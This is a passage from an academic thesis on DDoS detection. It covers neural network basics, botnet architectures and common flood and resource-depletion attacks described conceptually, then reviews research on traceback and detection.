producing outputs (actions). Stergiou and Siganos [212] describe ANN as an expert of 
information that analyses, predicts new situation and answers, what if questions. ANN´s 
topological structure consists of three main connected layers of neural nodes. The first set of 
nodes is called the input layer where one or more nodes are connected to another layer called 
the hidden layer. It is possible to have more than one hidden layer with more than one hidden 
node depending on how complex the issues to be resolved are. The final layer is called the 
output layer and represents the result of the process (it is also possible for the output layer to 
act as an input layer for another neural network). Conventional computer programs are based 
on algorithms and sets of instructions that are already in place.  
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ANN on the other hand is designed to learn based on the given information (the more 
information is given, the better ANN learns and responds). It also creates its own way of 
organising information that receives over time. It is designed to process problems like a 
human brain to solve a particular case or scenario, which is different than normal programs. 
The following figure is a basic neural network virtual look-a-like:  
 
 
Figure  1-12: Basic ANN topology, taken from [212]. 
 
Typically, the ANN nodes/units are connected together using Feed-Forward connections [79] 
to restrict the flow to one direction and to avoid cycling. Each connection has a weight 
associated with it. By classifying complex characteristic features (patterns), one can increase 
the number of hidden nodes. However, hidden layers with many hidden nodes can introduce 
over-fitting and reduce performance. Nevertheless, increasing the number of hidden nodes 
may assist if the training accuracy is relatively and unexpectedly low [127] [64]. The input 
nodes take values (e.g. attributes) from datasets and pass them onto the nodes of hidden 
layers. The datasets contain sets of characteristic features (patterns) that are used for training 
purposes. The training can be done using supervised or unsupervised training processes. In 
an unsupervised training process, no desired output is provided and the system decides what 
features to use in order to group the input data (this is called adaption) [64]. In a supervised 
training process, the input and the output are provided and the learning algorithm compares 
the output results against the desired output. In such a process errors are identified and 
weights between the connections are adjusted for several times to introduce an output that is 
closest to the desired output. Examples of learning algorithms are Back-Propagation [5], 
QuickProp [109], Backprop thru time [44], and Backprop Weight Decay [127]. Each of these 
learning methods is used for different purposes and situations: For example QuickProp is used 
to increase the learning process while Backprop Weight Decay is used to decrease the weights 
of the connections when Back-propagation is used. The weighted inputs fed to each node are 
summed up and a linear combination of input values and their connection weights is produced. 
Each neural (node) of the network has an activation function that specifies the output of the 
node with respect to its input. Sigmoid is one of the most known and used function that 
introduced nonlinearity. ANN is an important asset of our thesis and is further explained in 
Chapters 3, 5 and 6. 
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1.6 Architectural Structures of DDoS Attacks  
A Distributed Denial of Service attack is carried out using a large number of infected systems 
on different networks [211]. These infected systems are called zombies forming botnets of 
networks [31] [121] [175]. A typical DDoS attack is carried out by thousands of zombies from 
different distributed botnets. One can divide DDoS architectural structure into two models: The 
Agents (Zombies)-Handlers based model and the Internet Relay-Chat (IRC) model [211]. 
A) Agents (Zombies)-Handlers Architectural Model 
In this model, DDoS is divided into three tiers: clients, set of handlers and typically hundreds of 
zombies/agents. The attacker infects different vulnerable devices (e.g. computers or servers) 
across the Internet with hidden programs (handlers and zombies). These invisible programs 
are either manually installed or self-installed by Trojans [31] [175] [225]. The architectural 
structure and levels of communication of this model can be diagrammatically summarised as 
shown in Figure 1-13. 
 
 
Figure  1-13: Architectural structure of Zombies-Handlers [2] [64]. 
 
From Figure 1-13, the handlers are the top level programs on the infected devices which are 
controlled by the clients. A DDoS attacker can execute one or more client programs on a 
remote device or on the attacker´s personal device. The attacker, via the clients, 
communicates with the handlers to verify the number of running zombies and to launch and 
control the DDoS attack. The agents/zombies are also programs on the infected devices, but 
controlled by the handlers across the network. Based on the attacker´s requirements the 
number of clients, handlers and zombies can increase from 1 to n +1. Most attackers launch 
their attacks from different geographical locations making any attempt to trace their origins a 
difficult task. Other attackers use sophisticated methods to generate random source 
addresses in order to hide their origins; this is called address spoofing [67]. 
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B) IRC Architectural Design 
The IRC architectural design [211] is similar to an agents/zombies-handlers design except for 
the use of an IRC communication channel instead of handlers. IRC is a real time text chat 
messaging application that is used for the purpose of group communications or discussion 
forums [143]. It provides one-to-one or direct client-to-client communication between the 
chatters. However, the attacker uses the IRC protocol to hide their source from detection 
systems. This approach provides the attacker with strength and, invisibility and makes it 
difficult to trace back the origin of their attack. IRC ports are known to be open to provide text 
chatting between the users. DDoS attackers use IRC to communicate with the agents/zombies 
to launch different DDoS attacks (see Figure 1-14). The attacker increases the number of 
zombies and clients from 1 to n+1 to introduce an effective DDoS attack.  
 
Figure  1-14:  IRC architectural design [64]. 
 
Bu, Bueno, Kashyap and Wosotowsky [25] at the McAfee lab explain that IRC architecture is 
not common nowadays. Yet the authors of [25] still believe that IRC bots should not be 
ignored and are still effective, for example the hackers group Anonymous used IRC 
architecture to launch DDoS attacks against many big companies in 2012 and 2013 [159] 
[196]. 
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1.7 Types of Distributed Denial of Service Attacks 
Regardless of their architectural structure, DDoS Attacks can come in different flavours, but 
the attacking methods can be classified into DDoS Bandwidth Depletion and Resource 
Depletion. 
A) DDoS Bandwidth Depletion  
This is where the attacker floods the target network or host with unwanted packets in order to 
prevent legitimate users from reaching a particular service (e.g. email, web, application) or 
network device. DDoS Bandwidth Depletion can be in the form of a DDoS flood or an 
amplification attack [211]. 
 DDoS Flood attack: This‎ involves‎ sending‎a‎ large‎ volume‎of‎ packets‎ to‎ the‎ victim’s‎
system and congesting the network bandwidth with packets. This attack is particularly 
harmful when hundreds of infected devices (zombies or agents) are used to flood the 
target with UDP and/or ICMP packets. 
 DDoS Amplification attack: The attackers or the zombies send a request to all the IP 
addresses in the subnets (networks), all of which have the spoofed IP address of the 
victim. As a result, hundreds of machines might reply to the request and cause the 
target machine to be paralysed with unwanted responses.  
Examples of DDoS Bandwidth Depletion attacks 
There are different DDoS attacks and methodologies that introduce Bandwidth Depletion. For 
the purpose of this study, we consider the most common and effective attacks.  
ICMP Flood: The attacker combines a fast connection with a good attacking tool that supports 
ICMP packet echo request type 8. This type of attack can be damaging for an isolated and 
non-protected local area network where protection against ICMP flooding is ignored between 
the subnets (networks).  
Peer-to-Peer (p2p) Attacks: This type of attack has been exploited since file-sharing protocols 
were introduced. After 2007 p2p gained popularity and individuals used the protocol for the 
purpose of sharing data. The attacker instructs the clients to disconnect from their file sharing 
and contact to another device or website. As a result, thousands of devices from different 
locations become connected to one network or device [160]. This type of attack can be 
dangerous due to the high number of users that use file sharing in their daily activities. As also 
explained in [25], p2p botnets were established via encrypted communication based/using 
eDonkey protocol [81] forming organised DDoS attacks.  This was first called W32/Nuwar, but 
later gained fame as the Storm Worm [214].  
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Smurf Attack: The attacker broadcasts a large amount of ICMP echo requests to all the 
broadcast IP addresses, all of which have the spoofed source IP address of a target. When 
the ICMP requests are received, the hosts send their ICMP echo reply to the spoofed IP 
address (victim). Some experts call such an attack a Reflected Attack (RA) [211]. This 
particular attack is introduced via router misconfiguration across the network that permits the 
broadcast requests to pass through. A typical Smurf attack scenario can be reproduced in a 
safe environment using [218].  
UDP Flood: UDP attacks are known to be very damaging and effective due to the length of the 
package (see Section 1.3.5) that can be introduced by the UDP protocol. The package size 
can be set up to 6500 bytes and could flood the network considering that multiple zombies are 
in action. UDP flood is considered to be one of the most used DDoS attack according to 
Prolexic [162]. 
Ping of Flood (Ping of Death): This is an old but effective flood, where a victim´s bandwidth is 
bombarded with forged packets. There are enough effective defence mechanisms that have 
been introduced to prevent Ping of Death, yet it can cause network and resource damage in 
an unprotected local area network/subnet [27]. 
B) DDoS Resource Depletion  
The attacker sends packets that are malformed to tie up the target´s resources and introduce 
a system crash [211]. The agents/zombies generate packets that are incorrectly formed or 
organised. For example, the agents generate IP packets that are bigger than 1500 bytes, but 
their fragmented offset that is equal to zero is never generated.  Examples of DDoS Resource 
Depletion attacks are: 
Teardrop Attack: The attacker generates packets that lack in order, size and payload to storm 
a machine or network. Windows 7 and Vista have been recently exploited by Teardrop attacks 
due to their SMB2 protocol implementation. This attack is widely used and most effective 
[135]. 
TCP SYN DDoS: SYN is a popular and effective attack, where the target machine is 
overloaded with requests. Using TCP three-way handshake a client establishes its 
communication with a server. The client sends a SYN packet to the server and receives a 
SYN/ACK back from the server. Then an acknowledgement is sent back by the client to 
confirm. The attacker uses the same approach, but leaves the handshake half open by 
spoofing the source IP address in the SYN, causing the server to send the SYN-ACK to 
falsified IP addresses - which will not send ACK because they know that they never sent SYN. 
This makes the memory of the target machine overloaded with requests and eventually 
causes a crash [59]. This is sometimes called Malformed Packet attack. For more on this see 
Chapter 4, Section 4.5. 
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TCP PUSH-ACK DDoS: In this attack, the attacker send TCP packets with their PUSH and 
ACK bits set to 1. Such behaviour makes the receiving system to unload all the data in to the 
TCP buffer and send an acknowledgement back. However, when multiple zombies sending 
such forged packet, the receiving system overloaded and eventually crashes.  
1.8 DDoS Tools  
The DDoS engineers have introduced different tools and mechanisms for launching DDoS 
attacks. Most are designed to introduce high rate DDoS attacks, others use low rate. The 
attackers focused on forging packet headers to be seen differently by the destination and the 
detection systems. Such header alteration can confuse the receiver to the point of crashing. 
However, some DDoS tools are designed to launch an attack that is a look-a-like of genuine 
traffic and that makes the attack to bypass the detection system. To understand DDoS 
attack´s behaviour, we experimented with different DDoS attacks in corporative and isolated 
environments (see Chapter 4).  
1.9 Low Rate DDoS Attacks 
A low rate DDoS attack is considered to be an intelligent way to bypass detection mechanisms 
by having the same rate as normal traffic passing through the network. Such an approach 
helps the attack to quietly pass through the detectors without being detected. For this attack to 
be effective, the attacks must be generated from different locations at the same or lower rate 
as normal traffic towards one destination. Otherwise the Kernel [223] of the destination 
operating system drops the packets and the attack will not be effective. Hyenae and Network 
Auto Attack tools (Chapter 4, Section 4.5) have the ability to generate attacks with low rate 
where the attacker can change the header entities to look genuine or abnormal.  
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1.10 Detection and Defence Issues with DDoS Attacks 
One of the key successes of a DDoS attack is the geographical distribution of agents 
(zombies) and handlers across the network. Such an organised form of distribution introduces 
invisible tiers between all the attacking components. This approach helps the attackers to hide 
their locations and choose different networks when flooding a victim with abnormal packets. 
DDoS attacks are difficult to completely eliminate due to the following reasons.  
A) DDoS architectural design  [31] [121] [175] 
 Invisibility: In a successful DDoS attack, the communication between the handlers/ 
zombies and the attack is usually hidden (e.g. the channel is encrypted). This makes 
the DDoS architecture invisible and difficult to detect.  
 Source of the attack: Many attackers use spoof methodologies to cover their source 
address (spoofing is used to hide attackers IP or MAC address by generating random 
IP/MAC addresses or using trusted devices source identity [67]). 
 Locations and cost: DDoS handlers and zombies are geographically distributed 
between different networks. Therefore, any attempt to locate them may be expensive.  
B) Zero-day (unknown) DDoS attacks [148] 
Zero-day attacks are quite dangerous if the author who designs and implements the attack 
does not publish it and no other individual or organisation is aware of it either. This results in a 
lack of awareness about a particular attack and no preparation is made to stop it. The attack 
will be undetected unless the author publishes it or accidently identified by a third party. Zero-
day (unknown) attacks are undetected by signature based detection systems, if the signature 
of the attack is not included in the detection system´s databases. McAfee [119] or Kaspersky 
[88] are popular attack detection systems that use a regular signature databases to detect 
different attacks. 
C) DDoS detection under different conditions [31] [121] [175] 
Another DDoS detection issue is the ability to detect the flow of DDoS attacks under different 
network conditions (busy or quiet network). When DDoS attacks are flooded across the 
network, they pass through busy and quiet networks to reach their target. Due to network 
performance considerations, some detection methodologies cannot provide fast detection and 
defence mechanism. Therefore, the efficiency and practicality of any DDoS detection 
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D) The legitimacy of any abnormal traffic  
Another problem with respect to DDoS detection is distinguishing between normal (genuine) 
and abnormal traffic when activity is detected. Some DDoS designers use genuine packets to 
launch their attacks. For example, a Smurf attack broadcasts to a network with echo-request 
packets containing the victim´s IP address. Then all the genuine devices in the network 
receive the broadcast and try to respond to the victim with a high volume of genuine packets 
[218]. In the state of Utah in the USA, the voting website was crashed due to a high number of 
genuine voters trying to vote [150]. This illustrates that it is hard for some detection 
methodology to separate genuine packets from attacking packets. 
 E) Strength of the attack [175] 
When DDoS attacks are launched from different distributed geographical locations, the 
number of packets travelling from one route to another varies. Some routes might experience 
a higher volume of packets than others. Moreover, some routes (networks) are not protected 
against DDoS attacks. However, the strength of the attack increases when all the distributed 
attacks merge before reaching the victim (see Figures 1-13 and 1-14). This introduces a lack 
of mitigation when the strength of the DDoS attack is at its highest.  
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1.11 Summary  
Chapter 1 covers the fundamental concepts of Distributed Denial of Service attacks coupled 
with its motivation in respect of the launchers, including hactivists, terrorists, individuals and 
criminals. Based on quarterly reports produced by Prolexic, TCP, UDP and ICMP DDoS 
attacks are still the most popular attacks in use by attackers. This chapter also explains the 
different DDoS mechanisms and approaches introduced by DDoS designers. Then it covers 
the background information of the most popular protocols that are involved in the existing 
attacks. It also identifies the technologies and methodologies that are used in our proposed 
solution. The fundamental concepts and the background information of this chapter are used 
in Chapters 4, 5 and 6. Finally this chapter touched on DDoS attack tools, the details of which 
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Chapter 2 – Review of Related Work  
2.1 Introduction  
Research has introduced and evaluated various methodologies and techniques to reduce the 
effects of DDoS attacks in different network environments. Different approaches and 
mechanisms have been deployed to minimise the strength of the attacks. For the purposes of 
this research, we have separately reviewed and studied relevant DDoS prevention 
mechanisms introduced by academic research and security organisations. We have therefore 
divided this chapter into related work introduced by the academic research community and 
work introduced by enterprise companies, the open source community and security 
organisations. The academic related work covers approaches such as infrastructure, statistics, 
algorithms and data mining approaches. For the purpose of simplicity we have summarised all 
related work described in this chapter in Table 2-1. The outcome of this learning process 
assists us in Chapter 3 (Aims and Objectives) and to compare our contribution in Chapter 7.  
2.2 Academic Research Work 
Various approaches and methodologies have been introduced to trace-back, detect or mitigate 
DDoS attacks. We have investigated a number of approaches separately and discussed their 
strengths and weaknesses where applicable.  
 DDoS Traceability  2.2.1
Using different approaches and mechanisms some researchers focused on tracing the origin 
of the DDoS attacks and mitigating them by finding their sources. Savage, Wetherall, Karlin 
and Anderson [188], have introduced a trace-back mechanism using probabilistic packet 
marking algorithms to reduce the strength of DDoS attacks. This approach allows the victim to 
identify the route of the attack without technical involvement from the Internet Service 
Providers (ISP) or third party resources. When attacks or traffic are launched from different 
distributed locations, the packets travel from one network to another via intermediate routers 
and are checked against the routing/access tables to be forwarded to allocated networks 
without packet modification. However, the authors suggest header modifications on each IP 
header with specific flags (such as random numbers) at each intermediate router before 
packets reach their next hop. When a DDoS attack is launched, the victim's network is 
populated with a high volume of packets resulting in slow network traffic and poor response. At 
this point, the system calculates the packets that are received by the operating system´s 
Kernel [223] and reconstructs the path of the attack using the marked values assigned by 
each router. Then it informs the closest or upstream routers to limit their traffic rate to minimise 
the strength of the attack.   
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Al-Duwairi and Manimaran [3], deployed Probabilistic Pipelined Packet Marking (PPPM). The 
Pipeline methodology is a known approach that is used in computer architecture when sets of 
data are connected together to be processed (the outcome of one element is the input for 
another) [122]. The authors used a similar approach by marking the packets with the IP 
address of the marking router. This means the router that marks the packets is the pipeline 
stage while the process of marking resembles instruction execution. However, the process of 
propagating marked information from one marking router to another represents the flow of 
instructions in the pipeline system. The idea is to move marked information with respect to 
certain packets from one marked router to another marked router. For example packet-1 is 
going from source-1 to destination-1 through routers A, B and C. We assume MI and Rj are 
the marking information on each packet to hold any marked information for the routers. The 
content of the marking fields is changing from one router to another. Hence, the last router 
(router C) that is before the destination contains all the information from other routers. Router 
C then informs the other routers, and the destination. As a result of this, the destination and 
each router that has marked the packets, has the path of the packets, which assists in tracing 
the source of the sender (attacker or genuine application). Gong and Sarac [74] have 
reviewed the PPPM work by Al-Duwairi and Manimaran [3] and further improved the packet-
marking scheme. The approach was to record packet path information in logs at the routers 
side. This helps in identifying the network path based on logged information on each router 
side. According to the authors, this approach is more powerful as it can trace a single packet 
back to its origin in a faster way (marking and logging packets). The marking process on a 
packet is to provide router identification information while logging is to obtain the path of the 
route from one point to another.  
Yaar, Perrig and Song [243], have also proposed a similar marking mechanism called Stack 
Path Identification (StackPi). In this approach the authors focused on detecting spoofed IP 
addresses and tracing-back the source of the attack. The StackPi marking scheme consists of 
two marking methods (Stack-based marking and Write-ahead marking) that according to the 
authors substantially increase performance. The paper claims such an approach almost 
completely eliminates the effect of legacy routers. In addition to this work, Beak, Lee and Kim 
[85], have developed another version of the marking technique using Link-ID to construct the 
path of the attacking packets. The authors claim that Link-ID information between the Border 
Gateway Protocol (BGP) routers [177] provides more accurate results than marking IP 
headers with randomised values. Link-ID is the information path between the BGP routers in 
any Autonomous Systems (AS) and BGP in a core routing protocol of the Internet system that 
designates network reachability between the AS systems [213]. When attacks are launched 
from different AS systems, each BGP router provides Link-ID information on the flooding 
packets. Once the victim receives the flooding packets, it constructs the packets and 
calculates the path of the attack using the Link-ID values.  
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Law, Lui, and Yau, [98] complemented and enhanced the probabilistic marking method by 
more accurately identifying the locations of the DDoS attackers. This is to allow the victim to 
deduce the local traffic of all the routers that the DDoS attack passes through. Rate of the 
traffic can be identified via a framework where the rate can be determined in unit time. For 
example if victim V discovers its sides to be under DDoS attack, it requests all its known 
routers to mark the incoming packets with any given probability P. Based on the marked 
packets the victim receives, it can build a graph showing the origin of the attacks. This 
minimises the traffic based on the router with highest number of marked packets.  
Further, Entropy Variations is one of the methods that have been used to trace-back DDoS 
attacks. Yu, Zhou, Doss and Jia [246] used entropy variations to identify the origin of the 
attacks. When there are no attacks within the network, the routers record the entropy 
variations of the local flow of traffic. They used flow variation or entropy variation 
interchangeably. As soon as a DDoS attack is detected, the victim starts a pushback process 
[69] in order to identify the location of zombies. Based on the entropy variation each router has 
accumulated enough information that identifies the upstream routers and then submits to the 
immediate router to identify the flow of the traffic. The traffic flow is based on local entropy 
variations that routers monitor. The intermediate respectively routers forward requests to 
further upstream intermediate routers to find the source of the flow.  
Xiang, Li and Zhou [241], used information metrics to quantify the difference of network flow 
with different probability. The authors proposed two information metrics, one is generalised 
entropy metrics and the other one is information distance metrics to identify low rate attacks.  
The authors claim that their entropy metric approach detects and traces-back DDoS attacks of 
three hops faster than the traditional Shannon metric does [195]. The information distance 
metric outperforms the Kullback–Leibler divergence [95]. This is done by enlarging the 
adjudication distance and then obtaining the optimal detection sensitivity. Their experiments 
showed their information metrics could detect low-rate DDoS attacks and reduce the false 
positive rate. 
Furthermore Su, Wu, Hsu and Kuo [216], introduced a trace-back and mitigation system 
based on network performance. This is based on monitoring packet loss and also the rate at 
which packets arrive. This approach does not analyse the traffic post-mortem, instead it uses 
online analysis. The packet filtering mechanism is proposed to mitigate DDoS attacks. 
Intrusion Detection Systems (IDS) are also used to support all edge routers and all routers 
support Simple Network Management Protocol (SNMP) [29]. Such a system (on the edge of 
the routers) conducts two phases, one is DDoS attack trace-back and the other is DDoS 
attack mitigation. To trace the flow of the traffic, the system uses approximate attack entry to 
monitor the loss rate and packet arrival rate. 
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A packet filter controller that adapts to queue length is proposed to mitigate the DDoS attacks. 
This approach is designed and implemented using simulators and no real physical network 
has been used to verify the traceability outcome. Other approaches that have been introduced 
by the research community are to intelligently make decisions to trace-back the source of the 
attack. Intelligent Decision Prototype (IDP) is a supervised machine learning approach that is 
introduced in [35]. The authors believe that their approach provides a more flexible and 
effective way of marking packets compared to earlier solutions [3, 17, 74, 188, 216, 243]. IDP 
works by marking packets that have the attribute of DDoS attacks. It is divided into two 
phases; one phase is called pre-marked decision where packets are subjected to DDoS attack 
attribute analysis. If packets are legitimate, then they are forwarded to the next closest router, 
otherwise the packets are marked as not genuine. The second phase of their approach is to 
identify the path of the attack. 
The above approaches (trace-back) are based on marking specific flags or values on the 
headers. The efficiency and the practicality of the above methods are limited to IP/ICMP/TCP 
headers to diagnose the route of the attack. If the attackers change the header information of 
the packets to genuine sources, the trace-back will be a meaningless task. In other words, it is 
possible to forge the packets with randomised values to confuse the defence/trace-back 
system with a completely wrong path. We explain how headers can be forged, changed or 
modified in Chapter 4 Section 4.5. Also in the above methods the authors have not explained 
the process of separating genuine sources from attacking sources. For example, a popular site 
that shows a football match can introduce a high volume of genuine traffic due to the number 
of users trying to watch it. 
 Algorithms and Other Approaches in Detection of DDoS Attacks 2.2.2
Mahajan, Bellovin, Floyd and Shenker [111], present an approach to determine and defend 
against DDoS attacks based on traffic congestion. The authors introduced and deployed three 
steps on UNIX like routers to identify the source and strength of an attack. The first step of this 
approach is called an aggregation detection mechanism. In this context, the word aggregation 
means a collection of packets from one or more flows with common properties. The properties 
could be anything from destination addresses to source addresses, port numbers or prefix 
values. When a router is under a DDoS attack, its Kernel drops a high number of packets to 
avoid system buffer overflow. Then the system flags it as abnormal and activates its aggregate 
detection algorithm to calculate the output bandwidth and compare it with the incoming 
bandwidth. If the incoming bandwidth and the number of dropped packets are greater than the 
output bandwidth, the system scans through the dropped packets in different time slots and 
identifies their destination addresses. This process will be repeated until the algorithm 
confirms the destination victim.  
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After that, the system uses a rate limit mechanism (step two) to reduce the rate of the traffic 
and deploy pushback (step three) [69] to inform its upstream routers to take some 
countermeasures. The upstream routers receive the warning and use the information provided 
by the downstream router to limit the traffic rate. This approach is combined detection and 
possible tracing-back of the attack. This process will continue to spread from one router to the 
upstream‎ router‎ until‎ the‎ strength‎ of‎ the‎ attack‎ is‎ minimised.‎ Pushback‎ is‎ AT&T’s‎ defence‎
mechanism that is introduced on intermediate routers between the networks to combat attack. 
It works its way up and limits the rate of the bandwidth on each upstream level until it reaches 
the source of the attack. This approach is an interesting approach for detecting and mitigating 
DDoS attacks. However, the authors suggest adjusting the bandwidth rate on each router, 
which might have the effect of losing genuine traffic from each router. In other words, we might 
save one machine, but drop a high volume of genuine packets on each router. Furthermore, 
knowing the source of the attack might not necessarily minimise the effects of a DDoS attack, 
because the attacker might change the route of the attack.  
Some research uses existing technologies introduced in applications and session layers by 
adjusting them to fulfil detection mechanisms. The researchers at the University of Bar-IIan in 
Israel have developed a novel architecture called Beaver [16] that employs authentication and 
cryptographic approaches to protect network services from being attacked. They have 
deployed client/server registration and authentication processes coupled with public and 
private keys to minimise incoming and outgoing traffic. For a client to communicate with a 
server, it needs registering itself with Admission Servers in order to start a session with a 
particular device. This server is used to allow pre-registered clients to request a particular 
service on the network. The communication is established via Ø-Hopper protocol where it 
requests permission. Ø-Hopper is Beaver's two-party communication components that provide 
packet filtering and a rate limitation process. Then the system contacts the service through a 
constant session that they share and asks the service to start a session with the client. On the 
other hand, the Admission Server notifies the client to start communication with the server. 
The authors believe that this methodology provides protection by blocking and separating non-
registered devices from communicating with each other. This results in preventing abnormal 
traffic (including DDoS attacks) reaching any parts of the network. 
Furthermore, Shi, Stoica and Anderson [197], have introduced a similar system to Beaver's 
solution, but instead of an Admission Server, they have deployed a puzzling mechanism called 
OverDoSe. This approach uses a novel computational puzzling schema to detect DDoS 
attacks before they reach the target. The network is deployed with a set of overlay nodes that 
are deployed between the clients and the servers. If a client wishes to communicate with a 
server, it must choose one of the overlay nodes to request a connection. The node selection is 
based on different algorithms such as network proximity [62] [237] or node reputation [86].  
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In response, the client receives a puzzling problem to resolve and is expected to send the 
solution back to the node. Then the solution is validated and forwards the request and the 
solution to the server. The server assigns a cookie to the requesting client, and replies to the 
overlay node with the cookie and a flow specification. The flow specification is a set of rules 
the overlay node must enforce for regulating an established flow. Then connection is 
established between the client and server.  
Papers [16] and [197] focused on protecting a specific network topology while leaving other 
networks unprotected. For example Beaver´s solution [16] requires a continuous level of 
administration to frequently register new clients that wish to communicate with the other 
network resources. An attacker can exploit vulnerabilities on the Admission Servers and install 
zombies to launch attacks. Seifried [193] provided a series of guidelines to tour foreign 
networks using different methodologies and techniques. In addition, such a solution might not 
be practical for media businesses such as public newspapers to register known and unknown 
clients with specific parameters. As for the paper [197], a puzzling mechanism before 
connection is established is a good approach, but it can introduce latency as every client has 
to have a piece of code to do the puzzle and it requires a high level of administration and cost. 
However, these approaches are well structured and designed in terms of layouts and 
methodologies for small and medium environments.  
Mirkovic, Robinson, Reiher and Oikonomou [126], have built a mechanism called DefCOM 
that detects, alters and reduces DDoS attacks in Internet domains. Their system consists of 
several nodes that communicate and exchange messages when attacks are detected. 
DefCOM architecture provides three functionalities to reduce a direct DDoS attack on the 
targets. It first generates an alert message using its own alert generator and informs all its 
surrounding agents about the attack. Secondly, it uses rate limiters to control the high volume 
of traffic that is detected by the alerter. Thirdly, it classifies and separates legitimate traffic 
from attacks.‎DefCOM’s‎authors‎ believe‎ that‎ the‎best‎ strategy‎ to‎ detect‎DDoS‎attacks‎ is‎ to‎
deploy a node nearby the target. Consider an attack on a particular target. The vicinity node to 
the target detects the attack and provides alert generator functionality between itself and the 
rest of the nodes in the network. It immediately sends an alerting message to all the nodes 
that are part of DefCOM. The detection mechanism is based on observing resource 
consumption of devices towards the target. Then the nodes cooperate with each other to trace 
the routes between the attackers and the victim using Secure Packet Stamping. Each node 
picks a stamp and sends a stamped packet between itself and neighbouring nodes in a secure 
connection. The active nodes put the stamp in the header of the packets that they send and 
observe the stamps of packets received from the surrounding nodes. The closest node to the 
victim will be a parent of a neighbour whose stamped traffic is observed. Then the parent 
sends a message to its children to learn about their statuses. Once the route (tree) of the 
attacks is diagnosed, the core nodes change the rate limit and reduce the attack.  
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In‎this‎approach‎the‎authors’‎[126] best strategy to deploy their solution is to install their nodes 
close to the victim, which might be problematic when the traffic is in its highest peak. Consider 
a victim that is flooded with packets. The closest node detects the attack and informs its 
neighbouring nodes to trace the route of the attack and minimise the rate at their end. 
Suppose the surrounding agents fail to diagnose the route (tree) of the attack, the target 
machine will be under extreme volume of traffic and the attack will be effective.  
Aroua and Zouari [12], have introduced architectural approaches to introduce a coordinated 
detection with response strategy. The authors consider the existing network architectures that 
are used by most ISP providers where traffic behaviour is analysed, collected and stored in a 
central server. However, the authors fears system failure when it comes to the central server 
or gets compromised by an attacker. In their work, they have improved the single point of 
failure by equally distributing the shared information using the Byzantine hypothesis [198].  
When an attack is detected, the information is shared and defence system applied. The 
detection mechanism is based on a consensus algorithm [114]. The algorithm tries to build a 
global view to take decisions about the attack patterns (e.g. UDP ports or destination IP) and 
make an appropriate decision. Paper [12] provides a good overview of how data can be 
distributed and shared to make appropriate decisions, but the authors did not consider zero-
day attacks or attacks that are look like genuine traffic. 
Hwang and Ku [33], have developed a distributed mechanism to combat DDoS attacks in 
which distributed collaboration between AS is put together. Their architecture, called 
Distributed Change-point Detection (DCD), is designed to reduce DDoS damage using a new 
mechanism called Changed Aggregation Tree (CAT). The authors adopt a non-parametric 
CUSUM algorithm to describe any changes in the network traffic. The overall system is 
positioned over multiple AS domains with a central CAT server in each domain. The domain 
routers detect possible traffic changes and inform the local CAT server. Then the local server 
informs its sub-tree servers via a Virtual Private Network (VPN). This approach is good in-
terms of communication and network awareness, but an attacker can compromise any of the 
CAT servers and introduce points of failure between the Autonomous Systems.  
Other researchers used other cooperation mechanisms in order to combat DDoS attacks. 
Beitollahi and Deconinck [19], introduced Feedback-based Control scheme to mitigate DDoS 
attacks. The goal of this work is to identify which customer edge routers have traffic towards 
the victim (good traffic) in which the victim assigns the traffic to that router and fairly distributes 
its bandwidths with other routers. The authors in [19] deployed leaky-bucket [224] on the edge 
of each router to mitigate the attacks. This solution works in three phases, control phase, 
stabilisation phase and processing phase (respectively). Control phase is applied as soon as 
the packets are aggregated, the victim informs the edge router to rate-limit the traffic.  
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After that the victim asks the router that rate-limited the traffic to direct the traffic towards the 
leaky-buckets so that the total traffic volume reported by protection routers locates in the 
desired range (stabilisation phase). Then the size of the leaky-buckets can be adjusted using 
a feedback mechanism. Finally, at the processing phase the victim issues a command to the 
router in order to log fingerprints for outgoing packets towards the victim.  Analysing the log 
files assists the victim server to detect which sensor routers completely carry good traffic; then 
the victim server asks those routers to remove leaky-buckets. This approach requires 
continuous communication between the victim and all the edge router in order to minimise the 
strength of the attack. However, it is possible that the attacker targets the edge routers to 
increase the traffic on that network and damage the router. In other words, the attacker can 
hijack (Man-in-the-middle [142]) the communication channel between the victim and the 
router. At this point the victim experiences technical issues and will not be able to get access 
to the Internet via its edge router.  
Chan and Chanson [30], have introduced a routing defence mechanism that is purely based 
on Linux like routers. Their approach is called Intrusion Detection Router (IDR) for Defending 
against DDoS attacks. It aims to detect any traffic that consumes exceptionally high network 
bandwidth (e.g. DDoS attack). It analyses and discards highly suspicious packets and reacts 
to an attack by back tracking the source of attack and by controlling their flows among the 
routers. Their detection mechanism is based on passing traffic through a router and employing 
the Bloom filter [96] to locate the exceptionally heavy volume of packets going to the same 
destination. A two-dimensional bin table of k levels by m bin with k independent hash function 
is used to keep track of the recent arrival rate of packets of different destination. During this 
process when a packet arrives, its destination IP address is hashed into k values and mapped 
to one of the m bins, each of the levels using k independent hash function. If the number of 
packets after counting gets up to a certain threshold, the destination is considered to be under 
attack. This approach was designed to focus on the destination IP addresses by using two 
way-dimensional tables to keep track of any recent arrival rates packets. The algorithm that is 
involved in each individual router is considered to be robust, but the authors of this work 
ignored the possibility of the destination address being overloaded with genuine packets. In 
this case, this approach might not be the most suitable since genuine packets are subject to 
blocking if their numbers are greater than a certain threshold.   
Peng, Leckie and Ramamohanarao [151], used source IP address monitoring (SIM). This 
approach consists of two parts. The first part is a training engine that adds IP addresses into 
an IP Address Database (IAD) when the traffic volume is normal and the second part collects 
several statistics of incoming traffic for the current time interval. A hash table is used to record 
the IP addresses that appeared in the current time interval. Every hash table entry contains 
two fields, the number of IP packets and the time stamp of the most recent packet for that IP 
address. 
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The system compares the current counts of the hash table with the IAD, and then calculates 
how many new IP addresses have appeared in this time slot. If the number of packets per IP 
address is bigger than a threshold, the traffic is flagged to be a DDoS attack. Just like in [30] 
the authors of [151] did not introduce a methodology that separates genuine packets from 
abnormal.  
Researchers continue to propose new methodologies and ideas to minimise DDoS attacks. 
Feinstein and Schnackenberg [66] at Network Associates Laboratories and researchers at 
Boeing Company have been using entropy and a chi-square formula (statistical approach) [94] 
[76] to detect DDoS attacks. To compute entropy the approach can be optimised to perform 
only a few simple computations per packet. In [66] the entropy of a source is calculated 
through a sliding window of fixed width. Chi-square is used for distribution comparison in 
cases where the measurements involved are discrete values. For example, it could be used to 
test the distribution of TCP SYN flag values (0 or 1) or protocol numbers. In this approach the 
authors have also considered mechanisms to separate genuine packets from abnormal, but 
no approach and tests have been deployed to detect zero-day attacks. 
Leu and Pai [101], have introduced an Agent Based Intrusion Detection System where events 
are collected and analysed. The authors executed their approach in a typical office building 
environment with different departments. The event collector gathers all destination and source 
